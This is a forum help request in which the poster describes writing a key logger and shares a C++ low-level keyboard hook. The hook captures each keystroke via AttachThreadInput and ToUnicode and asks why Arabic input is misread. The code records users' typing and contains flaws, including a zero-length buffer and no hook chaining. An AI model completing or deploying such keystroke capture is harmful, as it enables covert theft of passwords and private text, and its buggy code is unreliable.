Hi
i am writing a key logger which logging uni-code chars by attach foreground window thread with my thread .
it works fine when i type English chars and it collect the right case of chars (small or capital) whether in current thread or in foreground thread .
the problem when i type Arabic chars in foreground thread ,my current thread receives the correspond chars in English.
As my current thread receives the right keyboardstate and Arabic chars when it is the foreground thread.

here is the code :
Qt Code:
  1. LRESULT CALLBACK keyproc(int nCode,WPARAM wparam,LPARAM lparam)
  2. {
  3. if(nCode ==HC_ACTION)
  4. {
  5. if(wparam==WM_KEYDOWN)
  6. {
  7. KBDLLHOOKSTRUCT *p=(KBDLLHOOKSTRUCT*)lparam;
  8. byte b[256];
  9. wchar_t *buff=new wchar_t[0];
  10. AttachThreadInput(GetWindowThreadProcessId(GetForegroundWindow(),NULL), GetCurrentThreadId(),true);
  11. if (GetKeyboardState(b))
  12. {
  13. ToUnicode(p->vkCode,p->scanCode,b,buff,1,0);
  14. }
  15. s+=QString::fromWCharArray(buff,1);
  16. }
  17. }
  18.  
  19. return 0;
  20. }
To copy to clipboard, switch view to plain text mode 


any help please..........